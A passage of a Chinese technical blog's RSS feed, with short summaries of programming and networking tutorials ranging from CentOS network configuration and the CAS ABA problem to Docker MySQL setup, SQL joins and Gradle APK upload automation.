/etc/sysconfig/network-scripts/ifcfg-ens33&#xA;7)接着修改如图所示：&#xA;ONBOOT=no把它修成ONBOOT=yes，&#xA;BOOTPROTO=dhcp修改成BOOTPROTO=static&#xA;9）接着，在末尾添加上固定IP地址以及子网掩码（IP地址、DNS、默认网关以及子网掩码需要跟之前设置的在同一IP段内，具体如下：&#xA;IPADDR=192.168.247.132&#xA;NETMASK=255.255.255.0&#xA;PREFIX=24&#xA;GATEWAY=192.168.247.2&#xA;DNS1=114.114.114.114）&#xA;10）退出并保存&#xA;11）这样，设置系统中的静态IP教程就完成了。接下来配置配置虚拟机的IP地址。&#xA;步骤四：配置虚拟机的IP&#xA;1）首先，找到系统右下角任务栏的“网络显示图标”，并点击鼠标右键，在弹出框中选择“打开网络和共享中心”。如图：&#xA;2）接着，在弹出的“网络状态”界面中，找到“更改适配器设置”。&#xA;3）接着，进入网络连接界面。找到“VMware Network Adapter VMnet8”&#xA;接着，右击，在弹出的对话框中选中属性。&#xA;接着，在VMware Network Adapter VMnet8属性中，选中“Internet 协议版本4（TCP/IPv4）”然后点击下方的属性。如图：&#xA;接着，进入IP地址设置界面，具体设置如图：（备注：图中的ip地址设置要跟步骤三设置的IP地址不一样，以防冲突不能访问，但是需要在同一个IP段内）&#xA;完成后，点击确定退出。&#xA;完成后，进入第五步骤。&#xA;步骤五：xshell连接Linux&#xA;1）打开安装好的xshell，新建会话，在主机的地方输入我们在centos设置好的IP地址（在第三步骤好的IP地址），完成后点击连接。如图：&#xA;2）接着，在弹出的对话框中，输入系统账户，点击“确定”如图：&#xA;3）接着，等待系统连接上centos系统。连接成功入下截图。如图：</description>
    </item>
    <item>
      <title>乐观锁带来的ABA问题的解决</title>
      <link>https://bchobby.github.io/posts/9e4ee54186998ee51d105d179aadd242/</link>
      <pubDate>Sun, 11 Dec 2022 15:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e4ee54186998ee51d105d179aadd242/</guid>
      <description>乐观锁： 比较乐观，它认为一般情况下不会发生锁冲突，所以只有在进行更改操作的时候才会对锁冲突进行检查，如果检查出来冲突，就不做任何修改，如果没有冲突才进行修改&#xA;乐观锁通常使用CAS（比较并替换）机制来实现，它包含３部分内容&#xA;v:内存中的值&#xA;A：预期旧值&#xA;B :新值&#xA;乐观锁（CAS）在JAVA中应用：Unsafe 和 AtomicXXX类&#xA;CAS存在ABA问题：&#xA;张三进行转账操作（卡里有100元）&#xA;1.第一次点击转账按钮： -50元（V=100，A=100 ，B=50）&#xA;2，第二次点击转账按钮：-50元（V=100，A=100 ，B=50）&#xA;3.发工资了，+50&#xA;当第二次点击和发工资两个操作先 第一次转账 一步执行，&#xA;卡里的钱经过了 -50 再 +50 的操作，&#xA;但是数字经过运算后的结果和之前一致，&#xA;这时第一次转账操作开始运行，&#xA;单独使用CAS后，只能对比数字的大小是否一致，&#xA;无法判断数字是否经过更改&#xA;我们原本的意图是，只转账一次就停止，&#xA;需要两次转账里成功一次，另一次再进行 V和A的对比时&#xA;发现V已经发生变化而取消 另一次转账&#xA;所以单纯的使用 一个V已经没用了，我们需要引入另一个参数来辅助判断V的变化&#xA;ABA 问题解决方案： AtomicStampedReference&#xA;引入版本号，每次操作后让版本号+1，执行时对比 版本号和值，就可以解决ABA问题</description>
    </item>
    <item>
      <title>matlab将一个矩阵所有行的元素合并成一列/一行</title>
      <link>https://bchobby.github.io/posts/ddf23f65ccf0b49ce35df663ac7178d2/</link>
      <pubDate>Sun, 11 Dec 2022 14:37:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddf23f65ccf0b49ce35df663ac7178d2/</guid>
      <description>用a=[1 2 3 4;5 6 7 8] 举例 K&amp;gt;&amp;gt; a=[1 2 3 4;5 6 7 8 ] a = 1 2 3 4 5 6 7 8 1. a(:) K&amp;gt;&amp;gt; b=a(:) % 注意这里顺序是不对的 b = 1 5 2 6 3 7 4 8 K&amp;gt;&amp;gt; c=a&#39;;b=c(:) % 需要额外转置一下 b = 1 2 3 4 5 6 7 8 2. reshape将矩阵重排 reshape(M, m, n)将矩阵M重排成m * n&#xA;K&amp;gt;&amp;gt; b=reshape(a&#39;,1,8) b = 1 2 3 4 5 6 7 8 反过来，若想将一行元素拆分成几行，直接用reshape是不行的，如图：a矩阵拆分成b之后现在想再组回去，数字顺序和原来不同，具体操作如下</description>
    </item>
    <item>
      <title>pyinstaller 打包去除黑框并加入icon</title>
      <link>https://bchobby.github.io/posts/c4d7df84cdfde109fa9461ef3da15212/</link>
      <pubDate>Sun, 11 Dec 2022 11:11:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4d7df84cdfde109fa9461ef3da15212/</guid>
      <description> 打包去除黑框并加入icon pyinstaller pyinstaller -F --add-data &#34;assets/*;./assets&#34; -i &#34;assets/icon.ico&#34; main.py --noconsole --clean pyportable_installler from pyportable_installer import full_build full_build(&#39;pyproject.json&#39;) </description>
    </item>
    <item>
      <title>删除有序数组中的重复项、组合总和算法思路</title>
      <link>https://bchobby.github.io/posts/54bdf5278ff082c0ee401b0350bf78bc/</link>
      <pubDate>Sun, 11 Dec 2022 11:06:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54bdf5278ff082c0ee401b0350bf78bc/</guid>
      <description>题目01 删除有序数组中的重复项 II 给你一个有序数组 nums ，请你 原地 删除重复出现的元素，使每个元素 最多出现两次 ，返回删除后数组的新长度。&#xA;不要使用额外的数组空间，你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。&#xA;示例 1：&#xA;输入：nums = [1,1,1,2,2,3]&#xA;输出：5, nums = [1,1,2,2,3]&#xA;解释：函数应返回新长度 length = 5, 并且原数组的前五个元素被修改为 1, 1, 2, 2, 3 。 不需要考虑数组中超出新长度后面的元素。&#xA;示例 2：&#xA;输入：nums = [0,0,1,1,1,1,2,3,3]&#xA;输出：7, nums = [0,0,1,1,2,3,3]&#xA;解释：函数应返回新长度 length = 7, 并且原数组的前五个元素被修改为 0, 0, 1, 1, 2, 3, 3 。 不需要考虑数组中超出新长度后面的元素。&#xA;关键字：数组&#xA;思路：&#xA;1.循环数组nums，循环时，判断每个数字是否满足条件，若满足则赋值，不满足不赋值。&#xA;2.初始时允许前两个赋值，因为前两个一定不会重复超过三次。&#xA;3.从第三个数字开始，要求当前数字要大于当前数字的前两个数字的值，因为最大只允许两个重复。&#xA;题目02 组合总和 给定一个无重复元素的数组 candidates 和一个目标数 target ，找出 candidates 中所有可以使数字和为 target 的组合。</description>
    </item>
    <item>
      <title>Python实现PDF文件切割保存到本地</title>
      <link>https://bchobby.github.io/posts/34e34fd187028a4765a1cd47c95774f4/</link>
      <pubDate>Sun, 11 Dec 2022 01:39:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34e34fd187028a4765a1cd47c95774f4/</guid>
      <description>实现从阿里oss读取数据去切割pdf&#xA;from PyPDF2 import PdfFileReader, PdfFileWriter import logging, os import uuid, tablestore as ots, time, json, oss2, io import requests, shutil, urllib3 import pdfplumber import subprocess import re from oss2.compat import to_bytes &#39;&#39;&#39; 注意： 页数从0开始索引 range()是左闭右开区间 &#39;&#39;&#39; oss_region = &#39;&#39; oss_accessKeyId = &#39;&#39; oss_accessKeySecret = &#39;&#39; ossbucket = &#39;&#39; oss_endpoint = &#39;&#39; def handler(event, context): event_json = json.loads(event) print(event_json) split_pdf(event_json.get(&#39;file_path&#39;), int(event_json.get(&#39;start_number&#39;)), int(event_json.get(&#39;end_number&#39;)), event_json.get(&#39;new_file_name&#39;)) # 获取oss对象 def get_oss_client(): auth = oss2.</description>
    </item>
    <item>
      <title>Docker安装最新版MySQL5.7（mysql-5.7.40）教程（参考Docker Hub）</title>
      <link>https://bchobby.github.io/posts/24d00930a15b4c4d082409865ef02879/</link>
      <pubDate>Sat, 10 Dec 2022 22:20:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24d00930a15b4c4d082409865ef02879/</guid>
      <description>一、前言 MySQL官方安装包下载地址：&#xA;https://dev.mysql.com/downloads/mysql/&#xA;Docker Hub官方网址：&#xA;https://hub.docker.com/&#xA;【MySQL系列安装部署教程】&#xA;写最好的Docker安装最新版MySQL8（mysql-8.0.31）教程（参考Docker Hub和MySQL官方文档）&#xA;最新MySQL-5.7.40在云服务器Centos7.9安装部署&#xA;笔者参考了Docker Hub中关于MySQL官方教程文档去写最新 MySQL5.7 容器安装部署教程，在此之前笔者写过一篇博客【写最好的Docker安装最新版MySQL8（mysql-8.0.31）教程（参考Docker Hub和MySQL官方文档）】，那篇博客写的很详细，有兴趣的读者可以去阅读，文章被华为云开发者联盟社区收录了。&#xA;本文由 @大白有点菜 原创，请勿盗用，转载请说明出处！如果觉得文章还不错，请点点赞，加关注，谢谢！&#xA;二、安装部署 1、在Docker Hub中搜索关键字“mysql”，查看MySQL的最新稳定版，包含MySQL8和MySQL5.7系列。对应的MySQL页面有教程，读者也可自行去看，但是不是很完整，笔者的教程参考官网且有改动。 （1）Docker Hub中搜索“mysql”。&#xA;（2）选择官方的“mysql”。页面是MySQL在Docker中的版本的相关介绍，这里有这么一个规律：5.7.40, 5.7, 5, 5.7.40-oracle, 5.7-oracle, 5-oracle 其实都是同一个版本，它们的镜像ID都是相同，在页面中放在同一行展示的，都是同一个版本，笔者验证过。页面同时也有操作教程。&#xA;Docker Hub中MySQL介绍：https://hub.docker.com/_/mysql&#xA;2、切换到“Tags”页面，复制指定的MySQL版本拉取命令，例如 docker pull mysql:5.7 。 3、先创建三个目录，创建MySQL容器时会挂载为容器的卷（Volume），用于Docker和宿主机（Centos）之间共享文件，包括配置文件、数据文件和日志文件。 什么是卷（Volume）？命令 docker -v 中的“-v”就是这个卷，“-v”只是“--volume”的简写。&#xA;Docker官方文档解释卷的含义：https://docs.docker.com/storage/volumes/&#xA;使用 -p 创建多级目录，即 mydata 目录下创建 mysql 目录， mysql 目录下又创建 log 、data 、conf 三个目录：&#xA;mkdir -p /mydata/mysql/log mkdir -p /mydata/mysql/data mkdir -p /mydata/mysql/conf 4、拉取MySQL5.7镜像。 docker pull mysql:5.7 5、创建容器：使用自定义的 custom.</description>
    </item>
    <item>
      <title>Python入门(第一篇)</title>
      <link>https://bchobby.github.io/posts/c476691f03233b442310f4af9f40df0c/</link>
      <pubDate>Sat, 10 Dec 2022 20:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c476691f03233b442310f4af9f40df0c/</guid>
      <description>Python 简介:&#xA;Python是什么?&#xA;Python是当今世界最流行的程序语言之一。&#xA;由荷来人，吉多.范苏姆(Guido van Rossum)&#xA;1989年发明，1991年公布。官网:www.python.org&#xA;Python的特点:&#xA;1. 可读性强:&#xA;2.简洁:&#xA;Python完成同样功能只用其他语言一半的代码，其实就是提高了一倍的生产率。&#xA;3.开源:&#xA;Python是开源语言，软件更容易移植到其他的平台。&#xA;4.标准脚本语言:&#xA;脚本程序是指只有需要被调用时，才会被动态的解释执行。&#xA;Python应用场景:&#xA;1.人工智能(Al Artificial intelligence)&#xA;2.web应用开发&#xA;3.科学计算和数据分析&#xA;4.桌面软件&#xA;5.网络爬虫&#xA;6.游戏开发&#xA;注意:&#xA;Python有两大版本，分别是Python2和Python3。&#xA;强烈推荐大家用Python 3。</description>
    </item>
    <item>
      <title>第二季1：MPP模块概述</title>
      <link>https://bchobby.github.io/posts/6b0fd9cc28e88053349a1e00b2b89f29/</link>
      <pubDate>Sat, 10 Dec 2022 20:48:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b0fd9cc28e88053349a1e00b2b89f29/</guid>
      <description>以下内容源于海思官方文档内容，如有侵权请告知删除。&#xA;一、MPP模块概述 海思的媒体处理软件平台（MPP，Media Process Platform）有利于应用软件的快速开发。因为该平台屏蔽了一些与芯片相关的复杂的底层处理，给应用软件提供了一些API来完成相应功能。&#xA;该平台支持应用软件快速开发以下功能：输入视频捕获、H.265/H.264/MJPEG/JPEG/MPEG4 编码、H.264/MPEG4/MPEG2解码、视频输出显示、视频图像前处理（包括去噪、增强、锐化、Deinterlace）、编码码流叠加OSD、视频侦测分析、智能分析、音频捕获及输出、音频编解码等功能。&#xA;MPP模块的手册《HiMPP IPC V2.0 媒体处理软件开发参考.pdf》提取码：1111位于“01.software\board\document_cn”目录。&#xA;二、系统架构 MPP 平台支持的典型的系统层次如上图所示，主要分为以下层次：&#xA;（1）硬件层。硬件层由 Hi35xx 芯片加上必要的外围器件构成。外围器件包括 Flash、DDR、视频 Sensor 或 AD、音频 AD 等。&#xA;（2）操作系统层。基于 Linux 3.4 的 OS 系统。&#xA;（3）媒体处理平台，即MPP。基于操作系统层、控制芯片完成相应的媒体处理功能。它对应用层屏蔽了硬件处理细节，并为应用层提供 API 接口完成相应功能。由上图可知，MPP模块以ko和api形式提供，和驱动处于同一层次。&#xA;（4）其他驱动。除媒体处理平台外，海思为 Hi35xx 芯片的其他相关硬件处理单元提供了相应的驱动，包括 GMAC、SDIO、I2C、USB、SSP 等驱动。&#xA;（5）应用层。基于海思媒体处理平台及其他驱动，由用户开发的应用软件系统。&#xA;三、MPP架构概述 MPP模块内部主要处理流程包括两大模块，即视频处理模块、音频处理模块。&#xA;其中视频部分包括：视频采集输入（VI）/ 视频解码输入（VDEC）、视频处理（VPSS）、视频编码（VENC）/ 区域管理（REGION）/ 视频侦测分析（VDA）/ 视频输出（VO）等模块。音频部分包括：音频输入（AI）、音频输出（AO）、音频编码（AENC）、音频解码（ADEC）等模块。&#xA;（1）VI 模块，捕获视频图像，可对其做剪切、缩放等处理，并输出多路不同分辨率的图像数据。&#xA;（2）解码模块对编码后的视频码流进行解码，并将解析后的图像数据送 VPSS 进行图像处理或直接送 VO 显示。可对 H264/MPEG4/MPEG2 格式的视频码流进行解码。&#xA;（3）VPSS 模块接收 VI 和解码模块发送过来的图像，可对图像进行去噪、图像增强、锐化等处理，并实现同源输出多路不同分辨率的图像数据用于编码、预览或抓拍。&#xA;（4）编码模块接收 VI 捕获并经VPSS 处理后输出的图像数据，可叠加用户通过 Region模块设置的OSD 图像，然后按不同协议进行编码并输出相应码流。&#xA;（5）VDA 模块接收 VI 的输出图像，并进行移动侦测和遮挡侦测，最后输出侦测分析结果。&#xA;（6）VO 模块接收 VPSS 处理后的输出图像，可进行播放控制等处理，最后按用户配置的输出协议输出给外围视频设备。</description>
    </item>
    <item>
      <title>java之JdbcTemplate技术</title>
      <link>https://bchobby.github.io/posts/db6ab27179bc08d27a3b64153f74f3ec/</link>
      <pubDate>Sat, 10 Dec 2022 20:29:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db6ab27179bc08d27a3b64153f74f3ec/</guid>
      <description>之前去连接一个数据库，我们注册驱动，得到连接对象，然后得到语句句柄，再来执行，这玩意有点麻烦，每次都要这样写一套，然后才能进行sql语句的查询和其他操作。&#xA;那么后来我们把连接对象与关闭对象这个工作给拿了出来，把需要里注册的数据库连接，用户名，密码，数据库名都放到一个properties的配置文件里面。&#xA;先来看这个配置文件utils.properties配置文件，这个文件直接放在了src目录下面&#xA;其实driver这个数据库驱动的注册完全可以省略，因为数据库管理接口在调用getConnection()的时候，就已经给我们注册了驱动，话不多说，看看单独抽离出来的JdbcUtils文件&#xA;package utils; import java.io.IOException; import java.io.InputStream; import java.sql.*; import java.util.Properties; //工具类,我们要从配置文件中取数据 @SuppressWarnings(&#34;all&#34;) public class JDBCUtils { private static String url; private static String root; private static String password; private static String driver; //我们要初始化上面属性，然后在内部调用静态函数 static{ Properties properties = new Properties(); //找到资源文件,需要一个类加载器 ClassLoader classLoader = JDBCUtils.class.getClassLoader(); InputStream is = classLoader.getResourceAsStream(&#34;utils.properties&#34;); try { properties.load(is);//把字节流传入进来 //得到属性，给私有属性赋值 url = properties.getProperty(&#34;url&#34;); root = properties.getProperty(&#34;root&#34;); password = properties.getProperty(&#34;password&#34;); driver = properties.getProperty(&#34;driver&#34;); //把驱动注册 Class.</description>
    </item>
    <item>
      <title>如何确定最初克隆本地 Git 存储库的 URL</title>
      <link>https://bchobby.github.io/posts/c3937b9ece93e4034c6658b6866e1639/</link>
      <pubDate>Sat, 10 Dec 2022 14:27:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3937b9ece93e4034c6658b6866e1639/</guid>
      <description>问题描述： 我在 GitHub 上提取了一个包含多个 fork 的项目，但忘记了它是哪个 fork。我如何确定我拉了哪个叉子？&#xA;解决方案1: 保持自己快人一步,享受全网独家提供的一站式外包任务、远程工作、创意产品订阅服务–huntsbot.com&#xA;如果您只需要远程 URL，或者您没有连接到可以访问远程存储库的网络：&#xA;git config --get remote.origin.url 如果您需要完整输出并且您所在的网络可以访问源所在的远程存储库：&#xA;git remote show origin 使用 git clone（来自 GitHub 或任何源存储库）时，克隆源的默认名称是“origin”。使用 git remote show 将显示有关此远程名称的信息。前几行应显示：&#xA;C:\Users\jaredpar\VsVim&amp;gt; git remote show origin * remote origin Fetch URL: git@github.com:jaredpar/VsVim.git Push URL: git@github.com:jaredpar/VsVim.git HEAD branch: master Remote branches: 如果您想在脚本中使用该值，您将使用此答案中列出的第一个命令。&#xA;如果将 jgit 与 amazon-s3 一起使用，请使用 git config，如下所述。&#xA;虽然与原始问题的目的无关，但请注意，如果尝试获取“推送 URL”并且为指定的远程输入了多个 URL，您将需要使用 git remote show origin（可选地使用 -n 标志由@Casey 提供），或使用@Montaro 和@rodel 建议的git remote -v。</description>
    </item>
    <item>
      <title>“INNER JOIN”和“OUTER JOIN”有什么区别？</title>
      <link>https://bchobby.github.io/posts/20d8131a7503b41dd3a8a5f6aa0d01b2/</link>
      <pubDate>Sat, 10 Dec 2022 14:25:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20d8131a7503b41dd3a8a5f6aa0d01b2/</guid>
      <description>问题描述： 另外，LEFT JOIN、RIGHT JOIN 和 FULL JOIN 如何适应？&#xA;保持自己快人一步,享受全网独家提供的一站式外包任务、远程工作、创意产品订阅服务–huntsbot.com&#xA;解决方案1: 一个优秀的自由职业者，应该有对需求敏感和精准需求捕获的能力，而huntsbot.com提供了这个机会&#xA;假设您要加入没有重复的列，这是一种非常常见的情况：&#xA;A 和 B 的内连接给出了 A 相交 B 的结果，即维恩图相交的内部部分。&#xA;A 和 B 的外连接给出了 A 联合 B 的结果，即维恩图联合的外部部分。&#xA;例子&#xA;假设您有两个表，每个表都有一个列，数据如下：&#xA;A B - - 1 3 2 4 3 5 4 6 请注意，(1,2) 是 A 独有的，(3,4) 是常见的，(5,6) 是 B 独有的。&#xA;内部联接&#xA;使用任一等效查询的内连接给出了两个表的交集，即它们共有的两行。&#xA;select * from a INNER JOIN b on a.a = b.b; select a.*, b.* from a,b where a.</description>
    </item>
    <item>
      <title>写vue3&#43; jsx&#43;ts语法&#43; storybook展示的组件库</title>
      <link>https://bchobby.github.io/posts/15d8461248ea2d89c9b0e7950feb77a9/</link>
      <pubDate>Sat, 10 Dec 2022 10:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15d8461248ea2d89c9b0e7950feb77a9/</guid>
      <description>代码地址&#xA;视频 点击进入&#xA;前言 视频会不定期更新。&#xA;样式上copy的别人&#xA;搭建项目 创建项目的时候需要添加css预处理器，后面选第一个sass&#xA;Button代码 types.ts&#xA;import { PropType } from &#39;vue&#39; enum ButtonTypes { LINK = &#39;link&#39;, DANGER = &#39;danger&#39;, PRIMARY = &#39;primary&#39;, DEFAULT = &#39;default&#39; } enum SizeTypes { LARGE = &#39;large&#39;, SMALL = &#39;small&#39; } const btnProps = () =&amp;gt; ({ label: String, btnType: { type: String as PropType&amp;lt;ButtonTypes&amp;gt;, default: ButtonTypes.DEFAULT }, href: String, disabled: { type: Boolean, default: false }, backgroundColor: String, size: { type: String as PropType&amp;lt;SizeTypes&amp;gt;, default: SizeTypes.</description>
    </item>
    <item>
      <title>threejs-材质</title>
      <link>https://bchobby.github.io/posts/39bdf1de1e61db87eeeaafabf7102547/</link>
      <pubDate>Sat, 10 Dec 2022 00:08:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39bdf1de1e61db87eeeaafabf7102547/</guid>
      <description>文章目录 前言材质的常用属性基础属性融合属性高级属性 常用的材质MeshBasicMaterial()MeshDepthMaterial()联合材质createMultiMaterialObject ( geometry, materials: Array )法线材质MeshNormalMaterial()Lambert材质MeshLambertMaterial()Phong材质MeshPhongMaterial()标准格材质MeshStandardMaterial()物理材质MeshPhysicalMaterial()线材质LineMaterial() 效果示例 前言 threejs材质讲解：材质常用属性，材质种类，效果示例&#xA;材质的常用属性 基础属性 id // 标识符，创建时自增 uuid // 唯一标识 name // 材质名称 opacity // 不透明度，[0,1],transpant为true时生效 transpant // bool overdraw // 过度描绘 visible // 是否可见 side // 侧面，定义为哪一面使用材质：Three.FrontSide,Three.BackSide,Three.DoubleSide needsUpdate // bool，为true时，使用最新的材质属性而不是缓存 colorWrite // bool，为true时，不会输出真实的颜色 flatShading // bool，平面着色，为flase时光照效果更加平滑 lights // bool，为true时接收光照 dithering // bool，开启时使用颜色抖动 shadowSide // 产生投影的面，与side对应的面相反 vertexColors // 顶点颜色 fog // bool,雾化效果 融合属性 渲染的颜色与背景交互的方式&#xA;blending // 材质与背景融合的方式 blendSrc // 融合源 blendDst // 融合目标 blendequation // 融合人透明度，结blendSrc，blendDst自定义融合方式 blendSrcAplha // 为 blendSrc指定透明度 blendDstAplha // 为 blendDst指定透明度 高级属性 WebGL底层相关的一些参数，不常用</description>
    </item>
    <item>
      <title>【计算机考研408-计算机网络-教书匠视频笔记】主机访问浏览器的全部过程</title>
      <link>https://bchobby.github.io/posts/79ed8496f88d75dff3e804a8e3c595bc/</link>
      <pubDate>Fri, 09 Dec 2022 22:11:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79ed8496f88d75dff3e804a8e3c595bc/</guid>
      <description>主机H1利用浏览器通过该域名请求访问web服务器&#xA;由于题目给定主机H1的ARP表是空的 （1）主机H1首先会发送ARP请求报文，ARP请求报文会被封装在以太网的MAC帧中发送&#xA;ARP请求报文：FF-FF-FF-FF-FF-FF&#xA;源MAC地址：00-11-22-33-44-cc（即主机H1的MAC地址）&#xA;ARP协议的作用：由IP地址查找对应的MAC地址ARP请求报文会被封装在以太网广播帧中，整个过程都是在数据链路层中进行的 （2）该ARP请求报文进入以太网交换机，以太网交换机进行自学习和转发帧的操作，登记ARP报文的源地址和进入交换机时的端口号（这就是所谓的自学习）&#xA;题目给定以太网交换机的交换表是空的 自学习后的交换表 （3）由于该ARP请求报文是广播帧，故不用查表，直接从其他所有的端口转发出去&#xA;本地域名服务器会收到H2主机会收到R路由器也会收到 （4）本地域名服务器从该广播帧中解析出ARP请求报文，从而知道该ARP请求报文是询问自己的，故接收该ARP请求报文，并向主机H1发出ARP响应报文欲告知自己的MAC地址。&#xA;路由器R从该广播帧中解析出ARP请求报文，知道不是询问自己的，从而丢弃该报文，H2同理丢弃。&#xA;ARP响应报文被封装在以太网单播帧中发送 ARP响应报文：00-11-22-33-44-cc（目的地址，主机H1的MAC地址）00-11-22-33-44-bb（源地址，本地域名服务器的MAC地址）&#xA;（5）该单播帧ARP响应报文从交换机的1号端口进入交换机，故交换机更新交换表，更新完后，在交换表中查找该单播帧的目的MAC地址，发现对应的端口号为4，故从该端口4转发出&#xA;（6）主机H1收到来自交换机端口4转发的ARP响应报文，通过解析该报文，发现是发送给自己的，于是知道了本地域名服务器的MAC地址，并更新ARP表&#xA;现在主机可以向本地域名服务器发送DNS请求报文了，以便获取web服务器域名所对应的IP地址DNS是基于UDP的，根据域名查询出IP地址 DNS查询流程简化如下（这里我使用的是递归与迭代相结合的方式），&#xA;a.查询本地域名服务器，本地域名服务器中没有记录所以进行b&#xA;b.访问DNS根服务器，根服务器通过查询知道了该域名是归.com顶级域名服务器管理的，所以告知本地域名服务器去查询顶级域名服务器，所以去进行c&#xA;c.本地域名服务器，去查询.com域服务器（顶级域名服务器），然后该服务器告知，负责abc.com区域的服务器知道，我告诉你他的地址，你去问他把&#xA;d.最后，访问abc.com域服务器，得知此域名对应的IP地址&#xA;DNS请求报文的封装情况，&#xA;（7）主机收到DNS响应报文从而知道了web服务器的IP地址，通过比较前25比特网络前缀，知道了web服务器与主机H1不在一个网络当中&#xA;（8）于是，主机H1要通过访问R路由器也就是默认网关192.168.1.1来访问web服务器&#xA;主机H1查找ARP表发现，默认网关192.168.1.1的MAC地址，找不到 （9）主机H1再次发送ARP请求报文，通过路由器R的IP地址来查询其相应的MAC地址，ARP请求报文被封装在以太网广播帧中发送&#xA;目的地址：FF-FF-FF-FF-FF-FF源MAC地址：00-11-22-33-44-cc （10）路由器R从该广播帧中解析出ARP请求报文，知道这是询问自己，所以接收该报文（其他的设备发现不是给自己的，丢弃该报文），响应该报文&#xA;（11）路由器R给主机H1发送ARP响应报文，告知自己的MAC地址，ARP响应报文被封装在以太网单播帧中发送&#xA;该ARP响应报文进入交换机后，更新交换表，如下&#xA;（12）更新完后，对该单播帧进行转发，根据目的MAC地址查询交换表，发现应该从4号端口中转发出去&#xA;（13）主机H1收到单播帧，从中解析出ARP响应报文，从而知道了路由器R该接口的IP地址所对应的MAC地址，将其记录到ARP表中&#xA;（14）先主机H1可以通过路由器R访问web服务器&#xA;（15）主机H1与web服务器之间要先通过TCP连接报文建立连接（即三报文握手）&#xA;TCP使用熟知端口号80&#xA;主机可以在第三个报文段中携带HTTP请求报文&#xA;web服务器在收到报文后，将所请求的内容封装成HTTP响应报文&#xA;通过已建立的连接发送给主机H1&#xA;（16）至此，主机H1访问web服务器的应用场景的全部过程。</description>
    </item>
    <item>
      <title>SpringBoot dubbo 注解@Reference</title>
      <link>https://bchobby.github.io/posts/67fde7982100c0e95349e95bfca35020/</link>
      <pubDate>Fri, 09 Dec 2022 21:50:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67fde7982100c0e95349e95bfca35020/</guid>
      <description>本文为joshua317原创文章,转载请注明：转载自joshua317博客 SpringBoot dubbo 注解@Reference - joshua317的博客&#xA;@Reference是dubbo的注解，也是注入，他一般注入的是分布式的远程服务的对象，需要dubbo配置使用。&#xA;@Autowired org.springframework.beans.factory.annotation.Autowired SpringBoot项目中常用。简单来说就是引入由Spring容器管理的bean。&#xA;@Resource javax.annotation.Resource 作用相当于@Autowired，只不过@Autowired是byType自动注入，而@Resource默认byName自动注入。&#xA;区别：&#xA;(1) @reference是dubbo注解，@resource是spring 注解。&#xA;(2) @resource作用相当于@Autowired，只不过@Autowired是byType自动注入，而@Resource默认byName自动注入。&#xA;(3) @Reference是dubbo的注解，也是注入，但是一般用来注入分布式的远程服务对象，需要配合dubbo配置使用。&#xA;(4) @reference和@resource的区别就是@resource是本地spring容器，@reference是把远程服务对象当做spring容器中的对象一样注入。&#xA;本文为joshua317原创文章,转载请注明：转载自joshua317博客 SpringBoot dubbo 注解@Reference - joshua317的博客</description>
    </item>
    <item>
      <title>傅里叶变换（一次搞清楚）</title>
      <link>https://bchobby.github.io/posts/6de7f3b80fa3f176a005827a44c41585/</link>
      <pubDate>Fri, 09 Dec 2022 16:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6de7f3b80fa3f176a005827a44c41585/</guid>
      <description>这个算法改变了世界_哔哩哔哩_bilibili&#xA;从傅里叶变换&#xA;到离散傅里叶变换&#xA;再到快速傅里叶变换&#xA;这个算法改变了世界_哔哩哔哩_bilibili&#xA;看完这个视频不由得感慨万千。&#xA;一个伟大命题的提出，必然是因为一个tough问题的出现。&#xA;没有问题就没有解决方案，没有问题，你的一切研究也就没什么意义。&#xA;从实际入手，去获得解决问题的能力。&#xA;当陷入迷茫的时候就是积累蓄力的阶段，不要放弃啊。</description>
    </item>
    <item>
      <title>Android——Gradle自动打包上传蒲公英并进行钉钉群提醒</title>
      <link>https://bchobby.github.io/posts/2678cdcade141db9b5ed0d536bc6052b/</link>
      <pubDate>Fri, 09 Dec 2022 15:44:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2678cdcade141db9b5ed0d536bc6052b/</guid>
      <description>开发测试阶段频繁打包未免太过枯燥，自动打包发布解放双手。上一节我们分析了fastlane打包发布的过程，嗯~总体来说有点繁琐，而且Android使用fast lane自动打包网上资料比较少，出错之后解决难度颇大。所以今天我们来用一种更简便的方式进行自动打包发布。&#xA;1、Gradle自动打包发布蒲公英 蒲公英上传Apk官方文档&#xA;apply from: &#39;./dingding.gradle&#39;//引用钉钉通知方法 def apkFileName = &#34;${buildTime()}_test_v${rootProject.ext.android[&#34;versionName&#34;]}_release.apk&#34; def apkFilePath = &#34;${projectDir.absolutePath}/build/outputs/apk/test/release/${apkFileName}&#34; private def uploadPGY(String filePath) { def stdout = new ByteArrayOutputStream() exec { executable = &#39;curl&#39; args = [&#39;-F&#39;, &#34;file=@${filePath}&#34;, &#39;-F&#39;, &#34;_api_key=${rootProject.ext.pgy[&#34;apiKey&#34;]}&#34;, rootProject.ext.pgy[&#34;uploadUrl&#34;]] standardOutput = stdout } String output = stdout.toString() def parsedJson = new groovy.json.JsonSlurper().parseText(output) println parsedJson.data.buildQRCodeURL println &#34;蒲公英上传完成　版本号：&#34; + parsedJson.data.buildVersion println &#34;开始发送钉钉群通知&#34; def downloadUrl = &#34;https://www.pgyer.com/&#34; + parsedJson.data.buildShortcutUrl postDingMsg(parsedJson.data.buildQRCodeURL, downloadUrl) } task uploadApk(dependsOn: &#39;打包Task名称&#39;) {//可以从Gradle的Task列表中选取，也可以点击查看Generate Signed Bundle/Apk执行的task是什么，复制出来就好了 group = &#34;</description>
    </item>
    <item>
      <title>【redis已解决】Warning: no config file specified, using the default config. In order to specify a config</title>
      <link>https://bchobby.github.io/posts/c862dfef9da1509c24e5a6176e7e9bba/</link>
